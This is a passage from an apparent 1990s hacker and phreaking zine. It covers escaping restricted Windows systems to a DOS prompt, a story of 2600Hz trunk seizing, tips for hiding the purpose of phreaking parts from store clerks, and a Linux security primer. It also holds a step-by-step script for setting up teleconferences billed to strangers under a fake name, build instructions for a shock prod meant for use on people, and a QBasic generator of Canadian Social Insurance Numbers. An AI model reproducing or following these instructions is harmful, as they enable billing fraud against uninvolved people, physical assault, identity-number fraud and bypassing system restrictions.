  4095. 7. "Open with...". Start some 32-bit program. Choose "Open..." from
  4096. the "File" menu and right-click a file while pressing shift. Choose
  4097. "Open with..." and proceed to open the file with "c:\command.com".
  4098.  
  4099. 8. Word 6+ Macros. Start up Microsoft Word and make a macro that says:
  4100.  
  4101. shell "c:\command.com"
  4102.  
  4103. Run it.
  4104.  
  4105. 9. Visual Basic. Startup Vb, make a command button on the form, and
  4106. give it the code:
  4107.  
  4108. x = Shell("c:\command.com")
  4109.  
  4110. Press F5 and then click the button that you just made. Voila!
  4111.  
  4112. 10. Resetting the screen. Shut down the system so that it shows that
  4113. stupid screen "It is now safe to shut off your computer." That screen
  4114. is really just a bmp file being displayed over a dos prompt. Type the
  4115. following just like you were in dos:
  4116.  
  4117. cls
  4118. mode co80
  4119.  
  4120. This will attempt to reset the screen and show you a "C:\" if it is
  4121. applied at the right time.
  4122.  
  4123. 11. Netscape Apps. Choose "General Preferences" from the Options menu
  4124. in netscape and then click on the tab labeled "Apps". Type in:
  4125. c:\command.com for your telnet application and then click OK. Next,
  4126. surf on over to "telnet://". This should launch a dos prompt.
  4127.  
  4128. 12. System Information. Start up Microsoft Word and goto "About" from
  4129. the help menu. Click the "System Information" button and then the "Run"
  4130. button.
  4131.  
  4132.  
  4133. Well thats about all I can think of. I know that there is many more
  4134. ways to get to dos but I am too busy to find them...  Seeya!
  4135.  
  4136.                     Devix - devix@thepentagon.com
  4137.                       www.thepentagon.com/devix
  4138.                     PGP key available above. Use it.
  4139.  
  4140. ═────────────────────────────────────────────────────────────────────────────═
  4141. A phreak's dream come true 
  4142. Written for thtj from the personal accounts of Kode9
  4143.  
  4144. Saturday, September 13, 1997: Kansas City, Missouri
  4145.  
  4146. The local Southwestern Bell telephone office gets its basement flooded.
  4147.  
  4148. Waking to the sound of a telephone ringing can be a pleasing experience, or 
  4149. it can be an irritating one; it guess it depends on how much you like phones. 
  4150. On this particular Saturday, I woke to that very sound, a ringing, but it was 
  4151. like no ring I'd heard before. It was a bunch of truncated rings, back to 
  4152. back, like ri..ri..ri.. instead or ring.....ring.....ring. I didn't know what
  4153. it was, I didn't pick up the phone either. Thinking it'd go away, I just 
  4154. waited on it. But it kept making that short ring, over and over again. It 
  4155. lasted for about ten minutes, and then as quickly as it'd started, it 
  4156. stopped. 
  4157.  
  4158. I picked up the phone; no dialtone. It was silent, but it wasn't dead... the 
  4159. keypad lit up. There must be current, I thought. So the lines were alive, but 
  4160. there was no dialtone. The switch must've died. Do switches die? This one 
  4161. wasn't working. Was I the only one? I couldn't call anyone to find out, I'd 
  4162. have to drive around and see what was going on. 
  4163.  
  4164. The mall was alot more interesting than normal today, because apparently the 
  4165. payphones weren't returning quarters. Don't people listen for a dialtone 
  4166. before sticking in their money? I've never seen so many people so pissed at a 
  4167. payphone in my life, it was almost like a riot. I checked for a dialtone on 
  4168. one of them, though I was fairly certain there wouldn't be one, and I was 
  4169. right. Dead silence. 
  4170.  
  4171. How could this fast food eating, instant coffee drinking, all the day's news 
  4172. in a half hour watching society survive without phone service? Cellular, of 
  4173. course. The phone of the future, or at least, that's what the cellphone 
  4174. companies want us to think. 
  4175.  
  4176. Cell activity today was at an all time high, based on all the calls I picked 
  4177. up on my scanner. Most of them were people saying "oh gosh, my phone is 
  4178. dead!" but I did catch DOW chemical ordering some nitroglycerin. Stronger 
  4179. plastics through the use of explosive compounds? I guess it's possible. I'm 
  4180. certain that even though 911 has a cellular system, alot of people died as a 
  4181. result of the lack of landline service. 
  4182.  
  4183. Over the course of several hours of waiting for my precious phoneline to 
  4184. whisper a dialtone softly in my ear, I learned via the local news that the 
  4185. phone outage was caused by a water main break that flooded the basement of a 
  4186. SouthWestern Bell building, which just so happened to service the exchange I 
  4187. was in, along with exchanges in half the city. The water had apparently 
  4188. shorted out the ESS, and down came the system as a result. It's a wonder this 
  4189. hasn't happened before, SWBell being genius enough to house their ESS in the 
  4190. basement. 
  4191.  
  4192. If you haven't wondered already, as to why this story is being called 'a 
  4193. phreak's dream come true', you're not too bright. For those of you who are 
  4194. wondering, the title is soon to be explained to you. The phone company, in 
  4195. its infinite wisdom, decided that rather than continuing to leave the 
  4196. majority of a large city deaf and mute, they would do the best they could to 
  4197. bring service back to us. That revelation occurred at around nine in the 
  4198. evening, a good twelve hours after the trouble began, (so they're a little 
  4199. slow, we can't blame them, can we?) when I got a call from my girlfriend. 
  4200.  
  4201. Since the lines were up, I figured now was as good as any time to see exactly 
  4202. what kind of switching system they'd fired up, just hoping it wasn't ESS. I 
  4203. quickly dialed up my self appointed 800 testline, 18004GAYASS, and whipped 
  4204. out my 2600hz tone, proudly stored on my self-built recorder. I played it 
  4205. into my newly awakened line. Beep. Click. Line available. I didn't send any 
  4206. KP or ST tones, because I wasn't crazy, and I was well convinced that we 
  4207. weren't on ESS. Was it xbar? SxS? I don't know, and I was too excited to find 
  4208. out. 
  4209.  
  4210. What to do? I did what any noble phreak would do. I called every phreak 
  4211. I knew of in the Kansas City area. It was a virtual free for all. Anyone 
  4212. could seize a trunk. Anyone could abuse anything on this ever-so-temporary 
  4213. switching system that the phone companies were trying to make extinct. It was 
  4214. like a dream, like a wonderful phone phreaking dream. 
  4215.  
  4216. The gestapo never stopped by. They probably never knew I'd blown that tone, 
  4217. because they'd gone back to a system that was apathetic to my nefarious 
  4218. activities. The playing field had been leveled. The telco vs. the phreaks. It 
  4219. was amazing. Just thinking about the possibilities made me smile. I could 
  4220. call London, I could call anywhere; it'd be free. All those far off bbses I'd 
  4221. never dared to call, for fear of oppressive phonebills... I could call them 
  4222. with reckless abandon.
  4223.  
  4224. Though a joyous event, opportunity didn't last long. It seems like nothing 
  4225. good ever does. They had ESS back up and running within two hours, but those 
  4226. precious hours, they were a phreak's dream come true. Later that night while 
  4227. watching the local news for a followup, things seemed to be well concluded 
  4228. with the quote of a certain local anchor... "Malicious tampering deterred the 
  4229. repair crews as they attempted to reinstate phone service in the area. The 
  4230. tampering was believed to be caused by several youths with some electrical 
  4231. skill." 
  4232.  
  4233. If not the thrill of hearing a trunk seized, watching footage of the 
  4234. switching equipment under four feet of water was the highlight of a memorable 
  4235. day. To all of you phreaks living in the Kansas City area under the (816) 
  4236. 350, 373, 478, 503, and 795-XXXX exchanges, I hope you thoroughly enjoyed  
  4237. this once in a lifetime opportunity.
  4238.  
  4239. ═────────────────────────────────────────────────────────────────────────────═
  4240. Rat Shak Shopping Made Easy
  4241. by N-TREEG
  4242.  
  4243. Okay I know some of you guys have had a hard time getting the parts you need
  4244. out of your local Rat Shak for whatever your purposes are.  This article is
  4245. to make your shopping experience a little more pleasurable and / or
  4246. successful.  Note:  "Rat Shak" is henceforth used to avoid all the evil
  4247. legalities.
  4248.  
  4249. "QUESTIONABLE" PARTS
  4250. Okay here's a little tid-bit for you.  The employees can't sell you anything
  4251. they feel you are going to use for less-than-legal purposes.  You'll cut out
  4252. a lot of your parts-finding frustration if you don't elude to it's uses,
  4253. whatever those might be ;-)   Just don't bring up the parts' purposes
  4254. what-so-ever.
  4255.  
  4256. TIP #1:  Do not go into Rat Shak with a list if it can be avoided.
  4257.  
  4258. If you must have a list here are a few things to keep in mind:
  4259. Try to keep it as short as possible.  Only have on there a part number or
  4260. something if you know specifically what it is you want.  The more vague it
  4261. is, the less the salesman can conclude from it.
  4262.  
  4263. It's also a little less suspicious if your list is hand-written.  NEVER EVER
  4264. EVER go into Rat Shak with printed box plans in hand.  That's getting you
  4265. nowhere fast!  It's always best if you've got memorized the specific part you
  4266. need.
  4267.  
  4268. TIP #2:  Never mention what the parts are going to be used for.
  4269.  
  4270. Don't bring it up.  If the salesman asks, have some feasible alternative
  4271. ready to give that the part could be used for (plan ahead).  You can always
  4272. say you're replacing the exact same part in a broken toy/gizmo/home project/
  4273. appliance, etc.  Words to avoid mentioning: red box, descrambler, cable box,
  4274. linears, e-prom burners (I doubt they carry 'em), scanner mods, snarfers.
  4275.  
  4276.  
  4277. YOUR PURCHASE
  4278.  
  4279. TIP #3:  Use common sense.
  4280.  
  4281. Use your head.  Don't ask for two things that are obviously questionable in
  4282. the same sale.  How much sense does it make to ask for a tone dialer then
  4283. turn right around and inquire about crystals.  THINK!
  4284.  
  4285. TIP #4:  The Name and Address bit.
  4286.  
  4287. Don't be alarmed when Rat Shak salesmen ask for your infos.  They are
  4288. supposed to.  No, it's not so they can track your purchases, etc.  It's only
  4289. for their sales flyer.  So don't worry about it.  Don't give 'em a hard time
  4290. and you'll appear a little less suspicious.  Plus you can sometimes find
  4291. coupons for free stuff in the flyers they send you.  Who couldn't use free
  4292. batteries every once in a while?
  4293.  
  4294. "WE DON'T HAVE ANY"
  4295.  
  4296. TIP #5:  Make use of the catalog.
  4297.  
  4298. So, you can't find what you're looking for on Rat Shak's shelves.  No biggie.
  4299. Don't automatically assume they just don't want to sell you what it is you
  4300. need.  Ask to see their yearly catalog.  They are usually up on the counter.
  4301. Just thumb through them.  (Or buy one, great to get parts numbers = no list!)
  4302. They've got an index in the back to speed your search.  If it's not there
  4303. then it more than likely isn't regularly carried in stock.  You've got
  4304. another option.  Ask if you could thumb through their warehouse's catalog.
  4305. It's a bookstand that has about 8 or so ring binders beneath it.  Flip one of
  4306. those open and search their.  If you can find what you need in there, have
  4307. them order it for you.
  4308.  
  4309. OTHER STUFF
  4310.  
  4311. TIP #6:  Don't try to "card" Rat Shak.
  4312.  
  4313. Trying to card Rat Shak is a nice way to get busted.  Just don't do it.  They
  4314. do verify credit cards, same thing for checks.  They check signatures and ID
  4315. too.  Save yourself and them a hassel, pay for your merchandaise.
  4316.  
  4317. Rat Shak's just a regular store with regular people for employees.  They
  4318. don't want to give you a hassel.  Just exercising common sense will make
  4319. your shopping experience more pleasurable for the both of you.  They'll be
  4320. happy becuase they'll be making money, you'll be happy becuase you'll be
  4321. getting your part.
  4322.  
  4323.  
  4324. Remember if you can't get it at Rat Shak, there are other stores out there:
  4325.  
  4326. DigiKey - http://www.digikey.com
  4327.  
  4328. Mouser Electronics - http://www.mouser.com
  4329.  
  4330. Have fun kids...play nicely.
  4331.  
  4332. N-TREEG
  4333. HaX0r3d PerceptionS Productions / THTJ
  4334. Shouts out to:  The THTJ Crew, #phreak, #hackphreak, PADmaster, Speed1,
  4335.              Shoc, & The Spanish Mafia.
  4336.  
  4337. ═────────────────────────────────────────────────────────────────────────────═
  4338. Telephone Conferencing 
  4339. by DataThief
  4340.  
  4341.     Well, i've recieved quite a few questions about setting up conferences
  4342. so i went on a search to find an article to suggest to the people that kept
  4343. asking me how, but i couldn't find one, so here it is...
  4344.     Setting up a conference can be a useful and phun skill to have, and
  4345. it is alot easier than it would seem.  There are a couple main teleconf.
  4346. services including:
  4347.         AT&T Teleconferencing          800.232.1234
  4348.         GTE Teleconferencing           800.483.9999
  4349.         Alliance Teleconferencing      varies (in large cities)
  4350.  
  4351. i usually use AT&T because they rarely validate u'r info and are extremely
  4352. gullible...
  4353.  
  4354. ok, here are the steps u take to setup a conf:
  4355.        1) lookup a name in the phone book, write down the name and #
  4356.        2) goto u'r fav. fonebooth and dial a conference # listed above
  4357.        3) give them the info on the paper for the person to be the 'host'
  4358.          (the person that gets charged for the call)
  4359.        4) give them the payfone # as u'r number so they can call back
  4360.        5) tell 'em what time u want it for and how long
  4361.        6) choose dial-in or dial-out, if dial-in, choose how many ports
  4362.          (people) to add to the conf.
  4363.        7) make up some company name incase they ask u for one
  4364.        8) hang-up and they'll call back in 1-5min
  4365.        9) they'll either say "sorry charges not accepted" or "ok u'r conf.
  4366.          will be up when u specified, thank you for using blah..blah..blah
  4367.  
  4368. A typical conversation will go like this:
  4369.  
  4370. <operator> Welcome to AT&T Teleconferencing Systems may i help you?
  4371. <you> yes, i'd like to setup a conference.
  4372. <op> who will be the host?
  4373. <you> host?
  4374. <op> the person paying the bill for the conference call
  4375. <you> oh, <name>
  4376. <op> phone # of the host
  4377. <you> <phone #>
  4378. <op> your name
  4379. <you> <fake name>
  4380. <op> your phone #?
  4381. <you> <payfone #>
  4382. <op> duration of the call
  4383. <you> 2hours <you can add more if u want>
  4384. <op> when will the call begin?
  4385. <you> 7:00CST
  4386. <op> is this gunna be a dial-in or dial-out conf?
  4387. <you> dial-in
  4388. <op> how many ports?
  4389. <you> 10
  4390. <op> okay, we're gunna hang up while i set it up and i'll give u a call in a
  4391.     few min...okay?
  4392. <you> ok
  4393.  
  4394. ...hang up...
  4395. ...ring...
  4396.  
  4397. <you> hello
  4398. <op> hello this is at&t teleconf. is this Mr. <name u gave>
  4399. <you> yes
  4400. <op> okay your conf will be ready at <whenever>
  4401.     your dial-in # is 800.xxx.xxxx
  4402.     your host code is xxxxxx <don't use it unless at a payfone>
  4403.     your guest code is xxxxxx <u can use this one anywhere>   
  4404. <you> thanks
  4405.  
  4406. Things that can go wrong:
  4407. 1) u called to set it up from home and the feds show up 2morrow
  4408. 2) noone gets on within 15 min of the designated start time and it
  4409.    auto-cancels the conf
  4410. 3) they don't accept the charges <call right back and start over!>
  4411.  
  4412. one last thing about dial-in vs. dial-out
  4413. in dial-in, u get the codes, and anyone can dial-into the conf, but u can't
  4414. dial out to connect anyone.
  4415. in dial-out, only the host can add people, so u have to be at a payfone, but
  4416. its fun for pranks and stuff ;)
  4417.  
  4418. ═────────────────────────────────────────────────────────────────────────────═
  4419. How To Make A Cattleprod
  4420. by The Messiah
  4421.  
  4422. Contents:
  4423.     * Introduction
  4424.     * Ingredients
  4425.     * How To Get The Ingredients
  4426.     * First Of All...
  4427.     * Part 1 - Making The Baton
  4428.     * Part 2 - Making The Power Pack
  4429.     * Part 3 - Packaging And Use
  4430.     * Words Of Wisdom
  4431.  
  4432.  
  4433. Introduction:
  4434.     Have you ever wanted to shock the fuck out of an enemy? Ever wanted to 
  4435. clear up the congestion in the halls of your local high school? Ever wanted a 
  4436. hand buzzer similar to the one the Joker had in Batman? Well, this article is 
  4437. for you. With a wee bit of cash and some ingenuity, you too can be armed with 
  4438. a ~100-200 milliamperes shock rod.
  4439.  
  4440. Ingredients:
  4441.     * One (1) automobile coil
  4442.     * One (1) 12v lantern battery *** NOT A CAR BATTERY!!!! ***
  4443.     * Some red wire
  4444.     * Some black wire
  4445.     * A little bit of green wire (not really necessary)
  4446.     * One push-button switch (non-toggling)
  4447.     * Two (2) feet of PVC pipe
  4448.     * One (1) PVC cap
  4449.     * Wire cutters, hacksaw, wire strippers, electrical tape
  4450.     * The IQ God gave the average Republican (20)
  4451.     * A copy of Screeching Weasel's Boogadaboogadaboogda album
  4452.  
  4453. How To Get The Ingredients:
  4454.  
  4455. You can get the auto coil at a salvage yard. It's a black cylinder with two 
  4456. electrodes and a big post on the top. The battery, wire, button, tape, wire 
  4457. cutters, and wire strippers can be found at your local Radio Shack. You can 
  4458. pick up PVC pipe and cap at your local hardware store. The IQ thing should be 
  4459. already taken care of. if it's not, you are so fucked. You can get the CD 
  4460. from Lookout! Records.
  4461.  
  4462. First Of All...
  4463.  
  4464. This is a pretty big deal. Don't fuck around with this. Test it on a 
  4465. voltometer before you try it out on your co-workers. All of your mistakes 
  4466. will be dealt with be you; I assume no responsibility for anything you do. 
  4467. Now that that's been said, put on the CD... groove with it...
  4468.  
  4469. Part 1 - Making The Baton
  4470.  
  4471. Making the actual baton (thing you whack the target with) is a personal 
  4472. thing. It should be a reflection of your personality. Oh hell... Cut the PVC 
  4473. pipe to a length of your liking. Now, take two pieces of wire (red and 
  4474. black), about 3-4 feet long, and strip about 2 inches off the end. Thread 
  4475. them through the pipe, then pull the stripped ends out the end, like this:
  4476.  
  4477.      ||    || = pipe
  4478.         * = red wire (ground)
  4479.         # = black wire (negative)
  4480.  
  4481.          #     *
  4482.           #   *
  4483.            # *
  4484.         || # * ||
  4485.         || # * ||
  4486.         || # * ||
  4487.         || # * ||
  4488.         || # * ||
  4489.  
  4490. If the wires touch, the circut shorts out, and does absolutely jack shit. So 
  4491. make sure they don't. The more contact the baton has with skin, the bigger the 
  4492. shock. Take the PVC cap and drill two holes in it, spaced evenly:
  4493.             ___
  4494.          /   \
  4495.         | *   |
  4496.         |   * |
  4497.          \___/
  4498.  
  4499. Thread the ends of the stripped wire through the holes in the caps and screw 
  4500. the cap on.
  4501.  
  4502.  
  4503. Part 2 - Making The Power Pack
  4504.  
  4505.     This is the heart of the cattle prod. Here's a diagram:
  4506.  
  4507.         * = red wire (ground)
  4508.         # = black wire (negative)
  4509.         $ = green wire (positive)
  4510.  
  4511.         # * <-- from baton
  4512.         # *
  4513.           #  *
  4514.          #   *            _--_ <--- button
  4515.          #   *   $$$$$$$$|____|$$$$$$$$
  4516.          #  _*_  $                    $          #######
  4517.          # |   | $                    +          -     #
  4518.      #####- |   | +                  __|__________|__   #
  4519.      #   _|_|   |_|_                |                |  #
  4520.      #  |           |               |                |  #
  4521.      #  |           |               |                |  #
  4522.      #  |           |               |                |  #
  4523.      #  |           |               |   battery      |  #
  4524.      #  |           | <-- auto coil |                |  #
  4525.      #  |           |               |________________|  #
  4526.      #  |           |                                   #
  4527.      #  |___________|                                   #
  4528.      #                                                  #
  4529.      ####################################################
  4530.  
  4531.  
  4532. Part 3 - Packaging And Use
  4533.  
  4534. You can put the power pack in a backpack or something, because carrying it is 
  4535. all funky. To shock someone, touch the two wires at the end of the baton to 
  4536. their arm or whatever and push the button. Zap.
  4537.  
  4538. Words Of Wisdom:
  4539.  
  4540.     A couple of things- one, *** DO NOT *** use a car battery for the 
  4541. battery. If you shock someone with a car battery, it will kill the person, or 
  4542. fuck them up seriously. Please don't kill anyone, k? Also, this kind of setup 
  4543. tends to drain batteries. A 12v lantern battery will last for about 10-20 
  4544. shocks.
  4545.  
  4546. ═────────────────────────────────────────────────────────────────────────────═
  4547. Securing Linux 
  4548. by KiDMaGiC
  4549.  
  4550. When discussing Linux and networking, one often comes upon a taxing
  4551. problem.  This problem, to many administrators, can either be a burden
  4552. to install or a godsend of smooth sailing. However, if you are in a
  4553. situation where the former is true, I will attempt to make this a bit 
  4554. easier.
  4555.  
  4556. Many months ago, back in my earlier days of using Linux, I was gullable
  4557. and offered shells off of my slow 28.8 connection, which neither my ISP
  4558. nor my machine appreciated.  One of the people I (unknowingly) gave a
  4559. shell to, unfortunately knew more about slackware 3.0's security than I
  4560. did, and had rm -rf / going within seconds.  At that point in time, I
  4561. realized security was a must for any Linux box connected to the internet.
  4562. Your personal LAN or WAN may be different in its breed and creed of users,
  4563. but its much better to be safe, than sorry.
  4564.  
  4565. The first thing that everyone I asked told me to do, was to install shadow
  4566. passwords.  This is an incredibly important step which involves using a
  4567. random SALT to encrypt your passwords.  This generally is much harder to
  4568. break, and can save you a break-in due to unprotected crypt passwords.
  4569. Even tho shadow passwords can be slightly difficult to install for a new
  4570. Linux user, the benefits outweigh the trials.  
  4571.  
  4572. Another good idea is to install a tcp wrapper.  These can be found on
  4573. sunsite(ftp://sunsite.unc.edu/pub/Linux/) and are generally just good
  4574. ideas.  These can be your alternative to firewalls, but have less
  4575. functions.  Basically, a tcp wrapper checks the address of an incoming tcp
  4576. packet (such as a packet for telnet, ftp, finger, etc.) and compares it to
  4577. a group of files.  These files contain a list of addresses, what services
  4578. they can use, and wether or not the address should be allowed or denied.
  4579. I find this my primary defense in the brutal world of "drive-by" attacks.
  4580.  
  4581. If you happen to be a security/encryption nut like myself, you may also
  4582. wish to get such utilities as pgp and ssh.  PGP is the acronym for Pretty
  4583. Good Privacy, which is "encryption for the masses."  This little program
  4584. is very efficient in encoding anything you want to keep secure, from
  4585. emails to book reports to sensitive source code.  This is an invaluable
  4586. tool to have, and also just fun to play with with your friends.  SSH, or
  4587. secure shell, is similar to rsh, but offers advanced encryption options to
  4588. avoid your connection being monitored by an outside third party.  This is
  4589. another invaluable tool if you have reason to believe people are out to
  4590. foil your plans of world domination. :)
  4591.  
  4592. These are just a small few of the many options you can explore for
  4593. security.  Things such as firewalls, network monitoring software, and
  4594. packet sniffers are just too in-depth to touch base with in this article.
  4595. However, information is abundant on the net, and many people would be
  4596. happy to help you if you have a serious question.
  4597.  
  4598.  
  4599. ═────────────────────────────────────────────────────────────────────────────═
  4600. Social Insurance Numbers
  4601. by Devix
  4602.  
  4603. In Canada (where I live) to get a job you must have a Social Insurance
  4604. Number (SIN). I don't know much about them or why they are used but
  4605. I do know how they are validated (and thus generated) so I thought I
  4606. would share this info with all of you. This can be useful for numerous
  4607. reasons but I'll leave that up to you to figure out. I don't know if
  4608. this will work with the US equivalent, Social Security Number (SSN).
  4609.  
  4610. OK, the Social Insurance Number is made up of 9 positive integers.
  4611. To validate, the first 8 are put through an algorithm to determine
  4612. the 9th. If the 9th matches, then the SIN is valid.
  4613.  
  4614. Here is how the algorithm works:
  4615.  
  4616. 1. Find the sum of the 1st, 3rd, 5th, and 7th digits.
  4617. 2. Find the products of the following:
  4618.           2 * 2nd digit
  4619.           2 * 4th digit
  4620.           2 * 6th digit
  4621.           2 * 8th digit
  4622. 3. Add the products of part 2 (above).
  4623. 4. Add part 1 and part 3 together.
  4624. 5. Take the ones digit from part 4 and subtract it from 10. The result
  4625. should be the 9th digit.
  4626.  
  4627. If you don't understand the above, here is a program I made in QBasic
  4628. that will generate and validate Social Insurance Numbers for you.
  4629.  
  4630. ---------------------------Start Cutting----------------------------
  4631.  
  4632. RANDOMIZE TIMER
  4633. COLOR 12
  4634. PRINT
  4635. PRINT "Social Insurance Numbers - Canadian"
  4636. PRINT "Made by Devix - datadaze@hotmail.com"
  4637. PRINT
  4638. COLOR 7
  4639. 1
  4640. PRINT "(G)enerate or (V)alidate?"
  4641. 6
  4642. choice$ = INKEY$             'Wait until key is pressed.
  4643. IF choice$ = "" GOTO 6
  4644. choice$ = LCASE$(choice$)
  4645. IF choice$ = "g" THEN GOTO 5     'If g the make sin
  4646. IF choice$ = "v" THEN GOTO 3     'If v then check sin
  4647. GOTO 1
  4648.  
  4649. 5                       'We're make a SIN!
  4650. a = INT(8 * RND + 1)    'Use random numbers for the first 8
  4651. b = INT(8 * RND + 1)
  4652. c = INT(8 * RND + 1)
  4653. d = INT(8 * RND + 1)
  4654. e = INT(8 * RND + 1)
  4655. f = INT(8 * RND + 1)
  4656. g = INT(8 * RND + 1)
  4657. h = INT(8 * RND + 1)
  4658. k = a + c + e + g        'Add them
  4659. l = (b * 2) + (d * 2) + (f * 2) + (h * 2)    'Multiply them
  4660. m = k + l  'Add them
  4661. 2 IF m > 10 THEN m = m - 10: GOTO 2   'Get the last digit.
  4662. COLOR 2
  4663. PRINT
  4664. FOR i = 0 TO 9    'Get the check digit.
  4665. IF i = 10 - m THEN PRINT a; b; c; d; e; f; g; h; i: COLOR 7: END
  4666. NEXT i             'Not found, go on to next.
  4667. COLOR 7
  4668. END
  4669.  
  4670. 3                  'Were checkin a SIN!
  4671. PRINT
  4672. PRINT "Numbers seperated by comma's."
  4673. PRINT "ie: 1,2,8,3,9,5,5,8,5"
  4674. INPUT a, b, c, d, e, f, g, h, i    'Get the numbers
  4675. k = a + c + e + g        'Add them
  4676. l = (b * 2) + (d * 2) + (f * 2) + (h * 2)    'Multiply them
  4677. m = k + l   'Add them
  4678. 4 IF m > 10 THEN m = m - 10: GOTO 4     'Get the check digit.
  4679. PRINT
  4680. COLOR 2
  4681. IF i = 10 - m THEN PRINT "Valid!" ELSE PRINT "Invalid!"  'If digit is right,
  4682. COLOR 7                                                  'then tell the guy.
  4683.  
  4684. ---------------------------Stop Cutting-----------------------------
  4685.  
  4686. I've also included a program I made in vb that does the same thing.
  4687. (sin.zip). Source code is encluded. Enjoy!
  4688.  
  4689. begin 644 sin.zip
  4690. M4$L#!!0````(`!F##R-E7`8W@0,``.P&```,````1E)-7TU!24XN1E)-;51-
  4691. M;!M%%/YF=M;=V*9)K!Q*!>H"4525RB25@!($`D);68*H:JJJXF+9R2:Q\$\P
  4692. MZ\;-Q1'RQ1=??""72E4B40G(A3,2%ASH@4H<X=)<MJH4%2@G7TB7]\:[86VS
  4693. MDM]^[YMOYCV_^6S_E_,PRP+(@QYKM5K*?IPKE)][6<S`Q\12.I->3-M7G+)3
  4694. MS;F5JM'M=F%>4<`#$_@Z#GQ![^<%/L`K/CW3YN5*M33W.BO>8,F;K+G((E^\
  4695. M2A6,9-XM9V_DBH65G.LH']8QOFNNBQ_4VV)2PC=8*[4VJ*VUQ_BN>0%:*TA[
  4696. MAK0B[M;=[&*ME'>JTE=U\%DOBA35-?BKF;&/<GFG."=\O+]0=>B,%3M_V_[0
  4697. MN56HS]LK_'K/77<VG+*;6ZN4T\N5DKVYN9D>XE[32K..7^7CL3694IB29ZC$
  4698. M.2JAXL5\,6B!RISHHWD2UW$@?T+*`$FENDW#^,>4&$=69,48A#14+&%:\>VK
  4699. MVU=/T%6<IL,V4,,6&FBBA38ZV"=N!W>PR]>$(TAQB/][/L%W%._!&^+YW/M`
  4700. M*CK1[$*QL/PIL"UR#RGD&2US6.E2<!BM<ECCL/X7!2TN<B@!,4EG$BQ0B$R?
  4701. M)W'=J;L(JH7W&U:#S"WW(*74F[7<K<S-\GF&IC8X?&81/H4Q6/"#AX0P!%(8
  4702. M_0["FGTB6`_<1(R&`&X-O^-+BI[]`$_AJ3U\CR0-=IBIC3!;(TQCA&F.,*T1
  4703. MICW"=(A)4`\)JK%'L:ECFV*2KI?7:O"LI_B34"-`K&A%<.<8)\D0O&>'/G=T
  4704. MODLS\OU[E._".WN`2[@L^KBG5V-8('/PGGWJR9M^E]3G9)"?964/7R$#F[A'
  4705. MF-6][N';`-<TW@NRK8&L,9`U![+60-8>R#H#V7Z0)<C&*72ITXM!MXO4:8SP
  4706. M6]H3ENA[8HH]@<`3@TXC3SR+>.)^X`D^>9)._A'C)[WIOVE":;R#=?G?"LU%
  4707. M_8QO=I)J(Z+WK)"M1=EDR&Y%V8F0;439J9!M1ME3(=N*LB^$;#O*VB';B;+3
  4708. M(<M_$@GJ.J&TNY1VE]+N4D=Z[=A=*N(N%7&7BKA+\0\\03L3A-A=A]I=/:I\
  4709. M&+CK-]''/;W*[NKI.GTW'6HW7<)Y&?;Z!R;P3,1A%SZW]76]!*KD$7\2IZ6%
  4710. MI<RBG2FO5H`9<0&KD7TIS,NDWI<IWQK:>7-H9^B2:X%+)K5+COX%4$L#!!0`
  4711. M```(`"V##R/6#>&W<````'X````,````4%)/2D5#5#$N34%+<PORC?=U]/33
  4712. M`S)XN0**\K/",_.",ZM2;<U-=(PM3'6,3(UT#(V,$'(9^>6V0*YG<GZ>6WY1
  4713. MKJU26E%NO&]B9IX2+U=(9DE.JJU2L)ZGGI^>@GMJ7FI18DE^$5#&M2+5+S$7
  4714. M).?I%PZTSC7"%2@*`%!+`P04````"``Z@P\C69NER\0(``!`'```"@```%-)
  4715. M3E=)3BY%6$7M67U05-<5/^]CW66%94&J8G!Y2\@V55P0$;;L(A_!Q94/&31J
  4716. M"1&7L.`ZN&N7MT)LK*O^@ZZ2Z4QFTK':M.I?F8ZQ+3-5FE$41ZH6JXW3(;93
  4717. M.VE:=8RV:CO2$;D]][ZW",MJVIDTQC1G>>^>W_FZ][YW[KL?5-<3T`"`A!<A
  4718. M,$8E>''P*30%OJ)GG'8/+?A]]\7PGY?7'DWD:L__5#K*P0=#.X8Y.:'7)/3$
  4719. M#9J/<#U5@^:>G$&S0VC7H/#FC>XI6;"@+SQ\C!#+MJ+:TN!TR[8M_(HE08,E
  4720. MM$4L"FKW!#4[\W\@H++#&TRC2E]S,`5+T1L(QJ/1E**@IM<EW/SAW<,6FR9X
  4721. M;,\68>>B_4)/ZJ!9+#T^Q'>)SC-B(5X-SIZ*G\&@>?=0=]^)(3ZW[Y@3[AY>
  4722. M%MI"&F3QC*:AXOA%/FRXP-\[U#O$'X6B07,@\>`[PLTENR]V#V%C;]A)&%NR
  4723. M8Y3(M[I-61`>#3E`_N@G#KLLZON"]\,7YOYFQ[\X^5KX/H:_=V@9]:-MO[FO
  4724. M=Y-PX^$H[6L8FX8U$W+W\/U+X0_#EVAKCF\#RZXJLNLDW^_X;L=O+5WE)/>6
  4725. M<&>/K?3AO4,C)U![1B-5A//W"ZS>\ZY[AY0.*&%H"%K7C_<+PJFYE]IUF8GB
  4726. M'=NIP$Y:V7':%&H1-KTC'&^``?']T8%RG@P.E(OFGH'R*8N0TYEO#)3KOP\]
  4727. MQ1BR%SC3RO,ZZ/#ZK*_Y-WQ&V;%BG;==VACPMP;<&Z2`Y]M!;\#3+E5[7POX
  4728. MV_TMLK3*ZVOV=[1;$_29W_(')7?`([G;`AYW\^M2(.CS>7VML8U?]KF;VCR2
  4729. M[)?:97=`CFTT_G/T%?V/J&:Q1C\"/#@7UU4D"SR`$6J-[,O/@XAE&LX$Z^!C
  4730. M^#O<A5'VO=?A/,'K5'=!!ZE0.SN5@:1X'@Q@XXRS;5P<;!>-:=O%2#TZ,(24
  4731. M^81&STGC0LP]Q"N>6%M$-@T$Y'G&ZT,:II\^3C^3\8I^%N-%QJ>QN)K0Y#[J
  4732. MEKMJ5KEJ&(]MT*TLJWNY9D%.#L9:;G59:ZQ2A<?G";AE?P#^WVDO'74<?<4@
  4733. M<$G(->,CGH&OY$M*E:[WZDKD2M>Y@G^FANS?*_#9S]GO&"]GSX+),E,,648,
  4734. MF26&;$X,F36&+#>&+!]EYGFSP#PO`ZZ6F.?-8?=<O%_.+F0Z$PP7'#&L+;V`
  4735. MO&6,IU;6"2A_'+J<O8CY%F+<12Q6&7A<A'"(R^!%VQ'#J?*>O'PN@M:74HO5
  4736. MKM)T`U?I2LQUPBV,E8&:@N=FDED\C>5DEM1C?>FZ\E_D&5&:9\L!*IN%==0:
  4737. MS\H1;%)Q15%$DC%)8IDDF3-)8ITDR9TDR9\D<8Y)^I-\2ZL@4#6UK]+UR4*E
